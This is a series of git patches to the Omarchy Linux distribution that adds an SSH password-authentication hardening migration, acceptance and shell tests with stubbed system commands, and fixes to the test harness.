ydotool features may grant it. +verify_input_group() { + if id -nG | grep -qw input; then + if pacman -Q xpadneo-dkms &>/dev/null || pacman -Q ydotool &>/dev/null; then + pass "input group membership is backed by an opt-in feature" + else + fail "user is not in the input group" "no controller or ydotool support installed to justify it" + fi + else + pass "user is not in the input group" + fi +} + +sudo_available() { + if sudo -n true 2>/dev/null; then + return 0 + fi + + if [[ -n ${OMARCHY_ACCEPTANCE_SUDO_PASSWORD:-} ]]; then + printf '%s\n' "$OMARCHY_ACCEPTANCE_SUDO_PASSWORD" | sudo -S -v 2>/dev/null + return $? + fi + + return 1 +} + +verify_asdcontrol_sudoers() { + # Omarchy used to ship a passwordless sudoers grant for asdcontrol; that + # authorization now belongs to the package alone. + if sudo -n test -e /etc/sudoers.d/omarchy-asdcontrol; then + fail "no omarchy asdcontrol sudoers grant is shipped" "/etc/sudoers.d/omarchy-asdcontrol exists" + fi + pass "no omarchy asdcontrol sudoers grant is shipped" +} + +verify_sshd_hardening() { + local key_file=/tmp/omarchy-acceptance-sshd-key + local effective_config + + rm -f "$key_file" "$key_file.pub" + ssh-keygen -t ed25519 -N "" -q -C "omarchy-acceptance" -f "$key_file" + + if ! omarchy-setup-security-sshd --key="$(cat "$key_file.pub")" >"$ARTIFACTS/setup-security-sshd.log" 2>&1; then + fail "omarchy-setup-security-sshd completes unattended" "$(tail -5 "$ARTIFACTS/setup-security-sshd.log")" + fi + pass "omarchy-setup-security-sshd completes unattended" + + systemctl is-active sshd.service >/dev/null || fail "sshd is running after setup" + pass "sshd is running after setup" + + grep -qxF "$(cat "$key_file.pub")" "$HOME/.ssh/authorized_keys" || fail "the key is authorized" + pass "the key is authorized" + + # The command verifies its own hardening before keeping it, but assert the + # effective config independently: sshd honors the first value it reads, and + # regressions here reopen password logins. Keywords match case-insensitively + # because OpenSSH 9.x dumps them lowercase and 10.x in CamelCase. + effective_config=$(sudo -n sshd -T) || fail "sshd reports its effective config" + grep -qixF "passwordauthentication no" <<<"$effective_config" || fail "password authentication is off" + pass "password authentication is off" + grep -qixF "kbdinteractiveauthentication no" <<<"$effective_config" || fail "keyboard-interactive authentication is off" + pass "keyboard-interactive authentication is off" + + if omarchy-cmd-present ufw; then + sudo -n ufw status | grep -qE '^22/tcp\s+LIMIT' || fail "the SSH port is rate limited in the firewall" + pass "the SSH port is rate limited in the firewall" + fi + + # Leave the machine as found where cheap: the throwaway key stays useless + # once removed, while the hardening itself is the state under test. + sed -i "\#$(cat "$key_file.pub" | cut -d' ' -f2)#d" "$HOME/.ssh/authorized_keys" + rm -f "$key_file" "$key_file.pub" +} + +verify_input_group + +if sudo_available; then + verify_asdcontrol_sudoers +else + pass "asdcontrol sudoers check skipped: sudo needs a password" +fi + +if [[ -n ${OMARCHY_ACCEPTANCE_SUDO_PASSWORD:-} ]] && sudo_available; then + verify_sshd_hardening +else + pass "sshd hardening exercise skipped: set OMARCHY_ACCEPTANCE_SUDO_PASSWORD to run it" +fi From fe1325202b2029e9ee6e5957229a9453cb6919f4 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 16:58:04 -0400 Subject: [PATCH 175/336] Default the acceptance suite's OMARCHY_PATH to the installed tree alone The suite verifies the finished product: VM runs never use a dev-linked tree, so the session-environment lookup and own-checkout fallback were needless indirection. /usr/share/omarchy is the default; a caller testing a different tree passes OMARCHY_PATH itself. --- test/acceptance | 21 ++++++--------------- 1 file changed, 6 insertions(+), 15 deletions(-) diff --git a/test/acceptance b/test/acceptance index 37a63f6e..ef2da6b0 100755 --- a/test/acceptance +++ b/test/acceptance @@ -19,21 +19,12 @@ mkdir -p "$OMARCHY_ACCEPTANCE_DIR" # the session environment is inherited. export XDG_RUNTIME_DIR="${XDG_RUNTIME_DIR:-/run/user/$(id -u)}" export DBUS_SESSION_BUS_ADDRESS="${DBUS_SESSION_BUS_ADDRESS:-unix:path=$XDG_RUNTIME_DIR/bus}" -# The suite acts on the running session, and qs matches shell instances by -# config path — pointed at any other tree, every omarchy-shell call reads as -# "not running". So default OMARCHY_PATH to the tree the session was started -# from, then this checkout for standalone use, then the installed tree for -# when only test/ was synced in (omarchy-iso-test's --sync-omarchy). -if [[ -z ${OMARCHY_PATH:-} ]]; then - OMARCHY_PATH=$(systemctl --user show-environment 2>/dev/null | sed -n 's/^OMARCHY_PATH=//p' | tail -1) -fi -if [[ -z $OMARCHY_PATH ]]; then - OMARCHY_PATH=$ROOT -fi -if [[ ! -f $OMARCHY_PATH/shell/shell.qml && -f /usr/share/omarchy/shell/shell.qml ]]; then - OMARCHY_PATH=/usr/share/omarchy -fi -export OMARCHY_PATH +# The suite verifies the installed product the session is running, so default +# OMARCHY_PATH to the installed tree — never this checkout, which may hold +# only test/ (omarchy-iso-test's --sync-omarchy). qs matches shell instances +# by config path, so a suite pointed at any other tree reads the session +# shell as "not running". Callers testing a different tree pass it explicitly. +export OMARCHY_PATH="${OMARCHY_PATH:-/usr/share/omarchy}" export PATH="$OMARCHY_PATH/bin:$PATH" From bae189861f650bf26c76588de97d62bed563b113 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 17:48:34 -0400 Subject: [PATCH 176/336] Copy the Windows VM helper before the test hides /home The mount-boundary test tmpfs-mounts over /home before sourcing $ROOT/bin/omarchy-windows-vm, so a checkout living under /home vanished mid-test and set -e aborted with no output. Take a mount-safe copy of the helper into the test tmpdir before the mounts land. --- test/shell.d/windows-vm-mount-boundary-test.sh | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/test/shell.d/windows-vm-mount-boundary-test.sh b/test/shell.d/windows-vm-mount-boundary-test.sh index 34f36cc2..13623d81 100644 --- a/test/shell.d/windows-vm-mount-boundary-test.sh +++ b/test/shell.d/windows-vm-mount-boundary-test.sh @@ -15,6 +15,10 @@ fi test_tmp=$(mktemp -d) trap 'rm -rf "$test_tmp"' EXIT +# The checkout may live under /home, which the tmpfs below hides, so take a +# mount-safe copy of the helper before the mounts land. +cp "$ROOT/bin/omarchy-windows-vm" "$test_tmp/omarchy-windows-vm" + # Hide host state before creating the production paths used by the root helper. mount -t tmpfs -o mode=0755,size=8m run-test /run mkdir -p /run/lock @@ -27,7 +31,7 @@ mount -t tmpfs -o uid=0,gid=0,mode=0710,size=1g home-alice /home/alice export HOME=/home/alice unset OMARCHY_WINDOWS_DIR set -- help -source "$ROOT/bin/omarchy-windows-vm" >/dev/null 2>&1 +source "$test_tmp/omarchy-windows-vm" >/dev/null 2>&1 # The namespace maps the host filesystem's uid 0 to nobody. Only / remains on # that filesystem; all paths the helper mutates are isolated tmpfs mounts. From 243fe1c9d9df5ba4e1da2a4dbfb67622cdfd98c8 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 17:48:34 -0400 Subject: [PATCH 177/336] Shadow the git URL checker instead of thinning PATH The missing-checker case dropped $ROOT/bin from PATH to make omarchy-git-url-check unfindable, but installed machines carry the packaged checker in /usr/bin, so it was always found and the test failed on every 4.x machine. Shadow it with a stub that reports command-not-found so the scenario holds regardless of the host. --- test/shell.d/theme-install-guards-test.sh | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/test/shell.d/theme-install-guards-test.sh b/test/shell.d/theme-install-guards-test.sh index 6c6044d0..2edc85dc 100755 --- a/test/shell.d/theme-install-guards-test.sh +++ b/test/shell.d/theme-install-guards-test.sh @@ -71,8 +71,15 @@ done pass "a URL naming a transport git does not implement never reaches git" # The checker is a separate command, so its absence has to refuse the URL rather -# than wave it through to git. -if install_theme "https://github.com/example/omarchy-cool-theme.git" "$mock_bin:$PATH"; then +# than wave it through to git. Installed machines carry the packaged checker in +# /usr/bin, so absence is simulated by shadowing it with a stub that reports +# command-not-found instead of thinning the PATH. +missing_checker_bin="$test_tmp/missing-checker-bin" +mkdir -p "$missing_checker_bin" +printf '#!/bin/bash\nexit 127\n' >"$missing_checker_bin/omarchy-git-url-check" +chmod +x "$missing_checker_bin/omarchy-git-url-check" + +if install_theme "https://github.com/example/omarchy-cool-theme.git" "$missing_checker_bin:$mock_bin:$ROOT/bin:$PATH"; then fail "omarchy-theme-install refuses a URL it cannot check" fi From 279f4d6b95508043a5b597ad488cbfb1ebf39431 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 18:06:33 -0400 Subject: [PATCH 178/336] Give the sshd acceptance exercise a terminal for sudo Without a terminal sudo keys its cached credential on the parent process of each call, so the timestamp validated by sudo -S -v in the test shell never reached omarchy-setup-security-sshd's own sudo calls when omarchy-iso-test drove the suite over ssh with no pty, and the exercise died with 'a terminal is required'. Run it under script(1) and validate the password on that pseudo-terminal first, so every sudo underneath shares the terminal-keyed credential. --- test/acceptance.d/security-test.sh | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/test/acceptance.d/security-test.sh b/test/acceptance.d/security-test.sh index 0755c722..4dc96ad9 100755 --- a/test/acceptance.d/security-test.sh +++ b/test/acceptance.d/security-test.sh @@ -58,7 +58,17 @@ verify_sshd_hardening() { rm -f "$key_file" "$key_file.pub" ssh-keygen -t ed25519 -N "" -q -C "omarchy-acceptance" -f "$key_file" - if ! omarchy-setup-security-sshd --key="$(cat "$key_file.pub")" >"$ARTIFACTS/setup-security-sshd.log" 2>&1; then + # sudo keys its cached credential on the calling terminal and, absent one, on + # the caller's parent process alone, so a timestamp validated in this shell + # never reaches the setup command's own sudo calls when the suite runs + # without a terminal (omarchy-iso-test drives it over ssh with no pty). Give + # the exercise a pseudo-terminal and validate the password on it first, so + # every sudo underneath shares that terminal's credential. + if ! OMARCHY_ACCEPTANCE_SUDO_PASSWORD="$OMARCHY_ACCEPTANCE_SUDO_PASSWORD" \ + OMARCHY_ACCEPTANCE_SSHD_KEY="$(cat "$key_file.pub")" SHELL=/bin/bash \ + script -qec 'printf "%s\n" "$OMARCHY_ACCEPTANCE_SUDO_PASSWORD" | sudo -S -v 2>/dev/null && + omarchy-setup-security-sshd --key="$OMARCHY_ACCEPTANCE_SSHD_KEY"' /dev/null \ + "$ARTIFACTS/setup-security-sshd.log" 2>&1; then fail "omarchy-setup-security-sshd completes unattended" "$(tail -5 "$ARTIFACTS/setup-security-sshd.log")" fi pass "omarchy-setup-security-sshd completes unattended" From ca4f596a14a12b26fa17ba06d49a7f166e5f6767 Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sun, 30 Aug 2026 15:17:33 -0600 Subject: [PATCH 179/336] Harden existing key-based SSH setups --- migrations/1788124236.sh | 77 +++++++++++ test/shell.d/sshd-hardening-migration-test.sh | 121 ++++++++++++++++++ 2 files changed, 198 insertions(+) create mode 100644 migrations/1788124236.sh create mode 100755 test/shell.d/sshd-hardening-migration-test.sh diff --git a/migrations/1788124236.sh b/migrations/1788124236.sh new file mode 100644 index 00000000..824fc58f --- /dev/null +++ b/migrations/1788124236.sh @@ -0,0 +1,77 @@ +echo "Disable SSH password authentication on existing key-based setups" + +config=/etc/ssh/sshd_config.d/10-omarchy-hardening.conf +authorized_keys="$HOME/.ssh/authorized_keys" + +as_root() { + if (( EUID == 0 )); then + "$@" + else + sudo "$@" + fi +} + +# The fixed setup command writes this file itself. Its presence is also the +# machine-wide completion state, so migrations run by another account no-op. +if [[ -e $config || -L $config ]]; then + exit 0 +fi + +# Earlier versions enabled sshd before importing the key, but did not leave a +# marker saying that Omarchy configured it. Limit the repair to a daemon that is +# enabled or currently exposed and a user who already has a usable authorized +# key. A machine that never set SSH up exits without prompting for privileges. +if ! systemctl is-enabled --quiet sshd.service 2>/dev/null && + ! systemctl is-active --quiet sshd.service 2>/dev/null; then + exit 0 +fi + +if [[ ! -f $authorized_keys || -L $authorized_keys || ! -s $authorized_keys || ! -r $authorized_keys ]] || + ! ssh-keygen -lf "$authorized_keys" >/dev/null 2>&1; then + echo "Leaving SSH password authentication unchanged because $authorized_keys has no usable public key." + exit 0 +fi + +echo "Disabling SSH password authentication on the existing key-based SSH setup..." +if ! as_root install -Dm644 /dev/stdin "$config" <<'CONF' +# Written by Omarchy once an SSH key was already authorized. +# Delete this file and reload sshd to allow password logins again. +PasswordAuthentication no +KbdInteractiveAuthentication no +CONF +then + echo "Administrator privileges are required to harden the existing SSH setup. Run omarchy-migrate again from a terminal." >&2 + exit 1 +fi + +# Syntax alone is insufficient because sshd uses the first value it reads. If +# another administrator rule wins, remove our ineffective file and keep the +# migration pending rather than claiming the machine is protected. +if ! as_root sshd -t; then + as_root rm -f -- "$config" || true + echo "sshd rejected the hardening config. Fix the SSH configuration and run omarchy-migrate again." >&2 + exit 1 +fi + +effective_config=$(as_root sshd -T) || { + as_root rm -f -- "$config" || true + echo "Could not inspect sshd's effective configuration. Run omarchy-migrate again after fixing SSH." >&2 + exit 1 +} + +if ! grep -qixF "passwordauthentication no" <<<"$effective_config" || + ! grep -qixF "kbdinteractiveauthentication no" <<<"$effective_config"; then + as_root rm -f -- "$config" || true + echo "Another SSH rule keeps password authentication enabled. Fix its ordering and run omarchy-migrate again." >&2 + exit 1 +fi + +# An enabled but deliberately stopped daemon picks the file up on its next +# start. Reload only a daemon that is currently serving connections so existing +# sessions survive while new ones get the hardened policy. +if systemctl is-active --quiet sshd.service 2>/dev/null; then + if ! as_root systemctl reload sshd.service; then + echo "The hardening config is valid but sshd could not reload it. Run omarchy-migrate again after fixing the service." >&2 + exit 1 + fi +fi diff --git a/test/shell.d/sshd-hardening-migration-test.sh b/test/shell.d/sshd-hardening-migration-test.sh new file mode 100755 index 00000000..c5659eb6 --- /dev/null +++ b/test/shell.d/sshd-hardening-migration-test.sh @@ -0,0 +1,121 @@ +#!/bin/bash + +set -euo pipefail + +source "$(dirname "$0")/base-test.sh" + +test_dir=$(mktemp -d) +trap 'rm -rf "$test_dir"' EXIT + +migration="$ROOT/migrations/1788124236.sh" +stub_bin="$test_dir/bin" +mkdir -p "$stub_bin" + +cat >"$stub_bin/systemctl" <<'STUB' +#!/bin/bash +printf 'systemctl %s\n' "$*" >>"${CALL_LOG:?}" +case "$1 $2" in +"is-enabled --quiet") [[ ${SSHD_ENABLED:-0} == 1 ]] ;; +"is-active --quiet") [[ ${SSHD_ACTIVE:-0} == 1 ]] ;; +"reload sshd.service") [[ ${SSHD_RELOAD_VALID:-1} == 1 ]] ;; +*) exit 2 ;; +esac +STUB + +cat >"$stub_bin/sshd" <<'STUB' +#!/bin/bash +printf 'sshd %s\n' "$*" >>"${CALL_LOG:?}" +case $1 in +-t) [[ ${SSHD_SYNTAX_VALID:-1} == 1 ]] ;; +-T) + printf 'PasswordAuthentication %s\n' "${SSHD_PASSWORD_AUTH:-no}" + printf 'KbdInteractiveAuthentication %s\n' "${SSHD_KBD_AUTH:-no}" + ;; +*) exit 2 ;; +esac +STUB + +cat >"$stub_bin/sudo" <<'STUB' +#!/bin/bash +printf 'sudo %s\n' "$*" >>"${CALL_LOG:?}" +exec "$@" +STUB + +chmod +x "$stub_bin"/* + +ssh-keygen -q -t ed25519 -N "" -f "$test_dir/key" +public_key=$(<"$test_dir/key.pub") + +run_migration() { + local scenario=$1 + local home="$test_dir/$scenario/home" + local root="$test_dir/$scenario/root" + local config="$root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf" + + mkdir -p "$home/.ssh" "${config%/*}" + : >"$test_dir/$scenario.calls" + if [[ ${AUTHORIZED_KEY_STATE:-valid} == "valid" ]]; then + printf '%s\n' "$public_key" >"$home/.ssh/authorized_keys" + elif [[ $AUTHORIZED_KEY_STATE == "invalid" ]]; then + printf 'not a public key\n' >"$home/.ssh/authorized_keys" + fi + + # Keep the privileged production destination fixed in the shipped migration. + # For this isolated test only, rewrite that one assignment in the input fed to + # bash so no scenario can touch the host's /etc. + sed "s|^config=/etc/ssh/sshd_config.d/10-omarchy-hardening.conf$|config=$config|" "$migration" | + HOME="$home" CALL_LOG="$test_dir/$scenario.calls" PATH="$stub_bin:$PATH" \ + SSHD_ENABLED="${SSHD_ENABLED:-0}" SSHD_ACTIVE="${SSHD_ACTIVE:-0}" \ + SSHD_SYNTAX_VALID="${SSHD_SYNTAX_VALID:-1}" \ + SSHD_PASSWORD_AUTH="${SSHD_PASSWORD_AUTH:-no}" \ + SSHD_KBD_AUTH="${SSHD_KBD_AUTH:-no}" \ + SSHD_RELOAD_VALID="${SSHD_RELOAD_VALID:-1}" \ + bash -euo pipefail +} + +SSHD_ENABLED=0 SSHD_ACTIVE=0 run_migration disabled +[[ ! -e $test_dir/disabled/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "SSH migration leaves a disabled daemon alone" +! grep -q '^sudo ' "$test_dir/disabled.calls" || fail "disabled SSH does not prompt for privileges" +pass "SSH migration no-ops when sshd is not enabled or active" + +AUTHORIZED_KEY_STATE=missing SSHD_ENABLED=1 run_migration no-key >/dev/null +[[ ! -e $test_dir/no-key/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "SSH migration must not disable passwords without an authorized key" +! grep -q '^sudo ' "$test_dir/no-key.calls" || fail "missing SSH key does not prompt for privileges" + +AUTHORIZED_KEY_STATE=invalid SSHD_ENABLED=1 run_migration invalid-key >/dev/null +[[ ! -e $test_dir/invalid-key/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "SSH migration must not trust a malformed authorized_keys file" +pass "SSH migration requires a usable authorized key before disabling passwords" + +SSHD_ENABLED=1 SSHD_ACTIVE=1 run_migration active >/dev/null +config="$test_dir/active/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf" +grep -qxF "PasswordAuthentication no" "$config" || fail "SSH migration disables password authentication" +grep -qxF "KbdInteractiveAuthentication no" "$config" || fail "SSH migration disables keyboard-interactive authentication" +grep -qxF "sudo sshd -t" "$test_dir/active.calls" || fail "SSH migration validates sshd syntax" +grep -qxF "sudo sshd -T" "$test_dir/active.calls" || fail "SSH migration validates effective sshd settings" +grep -qxF "sudo systemctl reload sshd.service" "$test_dir/active.calls" || fail "SSH migration reloads an active daemon" +pass "SSH migration hardens and reloads an existing key-based SSH setup" + +SSHD_ENABLED=1 SSHD_ACTIVE=0 run_migration stopped >/dev/null +[[ -e $test_dir/stopped/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "SSH migration hardens an enabled but stopped daemon" +! grep -qF 'reload sshd.service' "$test_dir/stopped.calls" || fail "SSH migration must not start or reload a stopped daemon" +pass "SSH migration hardens an enabled daemon without starting it" + +if SSHD_ENABLED=1 SSHD_ACTIVE=1 SSHD_PASSWORD_AUTH=yes run_migration ineffective >"$test_dir/ineffective.output" 2>&1; then + fail "SSH migration must fail when password authentication remains effective" +fi +[[ ! -e $test_dir/ineffective/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "SSH migration removes an ineffective config" +! grep -qF 'reload sshd.service' "$test_dir/ineffective.calls" || fail "SSH migration must not reload ineffective hardening" +pass "SSH migration stays pending when another rule keeps password authentication enabled" + +if SSHD_ENABLED=1 SSHD_ACTIVE=1 SSHD_SYNTAX_VALID=0 run_migration invalid-config >"$test_dir/invalid-config.output" 2>&1; then + fail "SSH migration must fail when sshd rejects its config" +fi +[[ ! -e $test_dir/invalid-config/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "SSH migration removes a rejected config" +! grep -qF 'reload sshd.service' "$test_dir/invalid-config.calls" || fail "SSH migration must not reload rejected hardening" +pass "SSH migration fails safely when sshd rejects the config" From 986962bb64078fb0faca9568bae5095edd8aa3d1 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 18:28:43 -0400 Subject: [PATCH 180/336] Keep the sshd hardening migration from locking users out Validate authorized_keys line by line with the question sshd actually asks: ssh-keygen -lf on the whole file also fingerprints a private key copied there by mistake, which sshd cannot use, so the migration would have disabled the only working login path. Tighten ~/.ssh and authorized_keys the way omarchy-setup-security-sshd does, and back off from a group-writable home directory: StrictModes makes sshd ignore the key either way, with the same lockout. Complete with a notice instead of failing on conditions the migration cannot repair (a broken or pre-Include sshd_config, an overriding admin rule, a failed reload of a valid config), so those machines keep passwords as they were without blocking every migration queued behind this one. Only missing privileges stay pending, since a terminal rerun fixes that. Co-Authored-By: Claude Fable 5 --- migrations/1788124236.sh | 67 +++++++++++---- test/shell.d/sshd-hardening-migration-test.sh | 81 ++++++++++++++++--- 2 files changed, 121 insertions(+), 27 deletions(-) diff --git a/migrations/1788124236.sh b/migrations/1788124236.sh index 824fc58f..0282b775 100644 --- a/migrations/1788124236.sh +++ b/migrations/1788124236.sh @@ -11,6 +11,15 @@ as_root() { fi } +# Passwords staying enabled is the state the machine has been living with, so a +# condition this migration cannot repair completes with a notice instead of +# failing and holding up every migration queued behind it. Only missing +# privileges stay pending below, because rerunning from a terminal fixes that. +skip() { + echo "$1 SSH password authentication remains enabled; run omarchy-setup-security-sshd to harden manually." + exit 0 +} + # The fixed setup command writes this file itself. Its presence is also the # machine-wide completion state, so migrations run by another account no-op. if [[ -e $config || -L $config ]]; then @@ -26,10 +35,39 @@ if ! systemctl is-enabled --quiet sshd.service 2>/dev/null && exit 0 fi +# sshd reads authorized_keys one entry per line, while ssh-keygen -lf +# fingerprints whole files in formats sshd does not accept there — a private +# key copied in by mistake passes the file-level check even though sshd finds +# no usable entry in it. Ask sshd's question instead: does any single line +# parse as a public key? +has_usable_key() { + local line + while IFS= read -r line || [[ -n $line ]]; do + if [[ $line =~ ^[[:space:]]*(#|$) ]]; then + continue + fi + if ssh-keygen -lf /dev/stdin <<<"$line" >/dev/null 2>&1; then + return 0 + fi + done <"$authorized_keys" + return 1 +} + if [[ ! -f $authorized_keys || -L $authorized_keys || ! -s $authorized_keys || ! -r $authorized_keys ]] || - ! ssh-keygen -lf "$authorized_keys" >/dev/null 2>&1; then - echo "Leaving SSH password authentication unchanged because $authorized_keys has no usable public key." - exit 0 + ! has_usable_key; then + skip "$authorized_keys has no usable public key." +fi + +# Under StrictModes, sshd's default, a group- or world-writable home directory, +# ~/.ssh, or authorized_keys makes sshd ignore the key that just validated, and +# passwords would then be the only way in. Tighten the two paths the setup +# command owns, exactly as it does; the home directory is not ours to change. +home_mode=$(stat -c '%a' "$HOME" 2>/dev/null) || skip "Could not inspect the permissions on $HOME." +if (( 8#$home_mode & 8#022 )); then + skip "$HOME is group- or world-writable, so sshd would ignore the authorized key." +fi +if ! chmod 700 "$HOME/.ssh" || ! chmod 600 "$authorized_keys"; then + skip "Could not tighten the permissions on $authorized_keys." fi echo "Disabling SSH password authentication on the existing key-based SSH setup..." @@ -44,26 +82,27 @@ then exit 1 fi -# Syntax alone is insufficient because sshd uses the first value it reads. If -# another administrator rule wins, remove our ineffective file and keep the -# migration pending rather than claiming the machine is protected. +# The drop-in itself is always valid, so a rejection means the configuration +# was already broken before it arrived — the administrator's to repair. if ! as_root sshd -t; then as_root rm -f -- "$config" || true - echo "sshd rejected the hardening config. Fix the SSH configuration and run omarchy-migrate again." >&2 - exit 1 + skip "sshd rejected its configuration." fi effective_config=$(as_root sshd -T) || { as_root rm -f -- "$config" || true - echo "Could not inspect sshd's effective configuration. Run omarchy-migrate again after fixing SSH." >&2 - exit 1 + skip "Could not inspect sshd's effective configuration." } +# Syntax alone is insufficient because sshd uses the first value it reads. An +# sshd_config predating the packaged sshd_config.d Include never reads the +# drop-in at all, and an earlier administrator rule overrides it. Either way +# the file is ineffective: remove it rather than claiming the machine is +# protected. if ! grep -qixF "passwordauthentication no" <<<"$effective_config" || ! grep -qixF "kbdinteractiveauthentication no" <<<"$effective_config"; then as_root rm -f -- "$config" || true - echo "Another SSH rule keeps password authentication enabled. Fix its ordering and run omarchy-migrate again." >&2 - exit 1 + skip "sshd does not apply the hardening drop-in, so an earlier rule or a config without the sshd_config.d include wins." fi # An enabled but deliberately stopped daemon picks the file up on its next @@ -71,7 +110,7 @@ fi # sessions survive while new ones get the hardened policy. if systemctl is-active --quiet sshd.service 2>/dev/null; then if ! as_root systemctl reload sshd.service; then - echo "The hardening config is valid but sshd could not reload it. Run omarchy-migrate again after fixing the service." >&2 - exit 1 + echo "The hardening config is installed and valid, but sshd did not reload; it takes effect when sshd next restarts." >&2 + exit 0 fi fi diff --git a/test/shell.d/sshd-hardening-migration-test.sh b/test/shell.d/sshd-hardening-migration-test.sh index c5659eb6..d48a374a 100755 --- a/test/shell.d/sshd-hardening-migration-test.sh +++ b/test/shell.d/sshd-hardening-migration-test.sh @@ -38,6 +38,9 @@ STUB cat >"$stub_bin/sudo" <<'STUB' #!/bin/bash printf 'sudo %s\n' "$*" >>"${CALL_LOG:?}" +if [[ ${SUDO_ALLOWED:-1} != 1 ]]; then + exit 1 +fi exec "$@" STUB @@ -53,11 +56,19 @@ run_migration() { local config="$root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf" mkdir -p "$home/.ssh" "${config%/*}" + chmod "${HOME_MODE:-755}" "$home" : >"$test_dir/$scenario.calls" - if [[ ${AUTHORIZED_KEY_STATE:-valid} == "valid" ]]; then - printf '%s\n' "$public_key" >"$home/.ssh/authorized_keys" - elif [[ $AUTHORIZED_KEY_STATE == "invalid" ]]; then - printf 'not a public key\n' >"$home/.ssh/authorized_keys" + case "${AUTHORIZED_KEY_STATE:-valid}" in + valid) printf '%s\n' "$public_key" >"$home/.ssh/authorized_keys" ;; + invalid) printf 'not a public key\n' >"$home/.ssh/authorized_keys" ;; + private) cat "$test_dir/key" >"$home/.ssh/authorized_keys" ;; + esac + if [[ ${LOOSE_SSH_PERMS:-0} == 1 ]]; then + chmod 755 "$home/.ssh" + chmod 644 "$home/.ssh/authorized_keys" + fi + if [[ ${ALREADY_HARDENED:-0} == 1 ]]; then + printf 'PasswordAuthentication no\n' >"$config" fi # Keep the privileged production destination fixed in the shipped migration. @@ -70,6 +81,7 @@ run_migration() { SSHD_PASSWORD_AUTH="${SSHD_PASSWORD_AUTH:-no}" \ SSHD_KBD_AUTH="${SSHD_KBD_AUTH:-no}" \ SSHD_RELOAD_VALID="${SSHD_RELOAD_VALID:-1}" \ + SUDO_ALLOWED="${SUDO_ALLOWED:-1}" \ bash -euo pipefail } @@ -79,6 +91,12 @@ SSHD_ENABLED=0 SSHD_ACTIVE=0 run_migration disabled ! grep -q '^sudo ' "$test_dir/disabled.calls" || fail "disabled SSH does not prompt for privileges" pass "SSH migration no-ops when sshd is not enabled or active" +ALREADY_HARDENED=1 SSHD_ENABLED=1 SSHD_ACTIVE=1 run_migration hardened >/dev/null +[[ ! -s $test_dir/hardened.calls ]] || fail "an already-hardened machine must not touch sshd or prompt" +grep -qxF "PasswordAuthentication no" "$test_dir/hardened/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf" || + fail "the existing hardening config is left alone" +pass "SSH migration no-ops when the hardening config already exists" + AUTHORIZED_KEY_STATE=missing SSHD_ENABLED=1 run_migration no-key >/dev/null [[ ! -e $test_dir/no-key/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || fail "SSH migration must not disable passwords without an authorized key" @@ -89,10 +107,30 @@ AUTHORIZED_KEY_STATE=invalid SSHD_ENABLED=1 run_migration invalid-key >/dev/null fail "SSH migration must not trust a malformed authorized_keys file" pass "SSH migration requires a usable authorized key before disabling passwords" -SSHD_ENABLED=1 SSHD_ACTIVE=1 run_migration active >/dev/null +# ssh-keygen -lf accepts a whole private-key file, so only a per-line check +# catches the classic `cp id_ed25519 authorized_keys` slip that sshd cannot use. +AUTHORIZED_KEY_STATE=private SSHD_ENABLED=1 run_migration private-key >/dev/null +[[ ! -e $test_dir/private-key/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "SSH migration must not treat a private key as an authorized key" +! grep -q '^sudo ' "$test_dir/private-key.calls" || fail "a private-key authorized_keys does not prompt for privileges" +pass "SSH migration rejects an authorized_keys holding a private key" + +# StrictModes makes sshd ignore authorized_keys under a group-writable home, +# so the key that validated would be unusable and passwords the only way in. +HOME_MODE=775 SSHD_ENABLED=1 run_migration loose-home >/dev/null +[[ ! -e $test_dir/loose-home/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "SSH migration must not disable passwords when sshd would ignore the key" +! grep -q '^sudo ' "$test_dir/loose-home.calls" || fail "a group-writable home does not prompt for privileges" +pass "SSH migration leaves a group-writable home directory alone" + +LOOSE_SSH_PERMS=1 SSHD_ENABLED=1 SSHD_ACTIVE=1 run_migration active >/dev/null config="$test_dir/active/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf" grep -qxF "PasswordAuthentication no" "$config" || fail "SSH migration disables password authentication" grep -qxF "KbdInteractiveAuthentication no" "$config" || fail "SSH migration disables keyboard-interactive authentication" +[[ $(stat -c '%a' "$test_dir/active/home/.ssh") == "700" ]] || + fail "SSH migration tightens ~/.ssh so StrictModes accepts the key" +[[ $(stat -c '%a' "$test_dir/active/home/.ssh/authorized_keys") == "600" ]] || + fail "SSH migration tightens authorized_keys so StrictModes accepts the key" grep -qxF "sudo sshd -t" "$test_dir/active.calls" || fail "SSH migration validates sshd syntax" grep -qxF "sudo sshd -T" "$test_dir/active.calls" || fail "SSH migration validates effective sshd settings" grep -qxF "sudo systemctl reload sshd.service" "$test_dir/active.calls" || fail "SSH migration reloads an active daemon" @@ -104,18 +142,35 @@ SSHD_ENABLED=1 SSHD_ACTIVE=0 run_migration stopped >/dev/null ! grep -qF 'reload sshd.service' "$test_dir/stopped.calls" || fail "SSH migration must not start or reload a stopped daemon" pass "SSH migration hardens an enabled daemon without starting it" -if SSHD_ENABLED=1 SSHD_ACTIVE=1 SSHD_PASSWORD_AUTH=yes run_migration ineffective >"$test_dir/ineffective.output" 2>&1; then - fail "SSH migration must fail when password authentication remains effective" 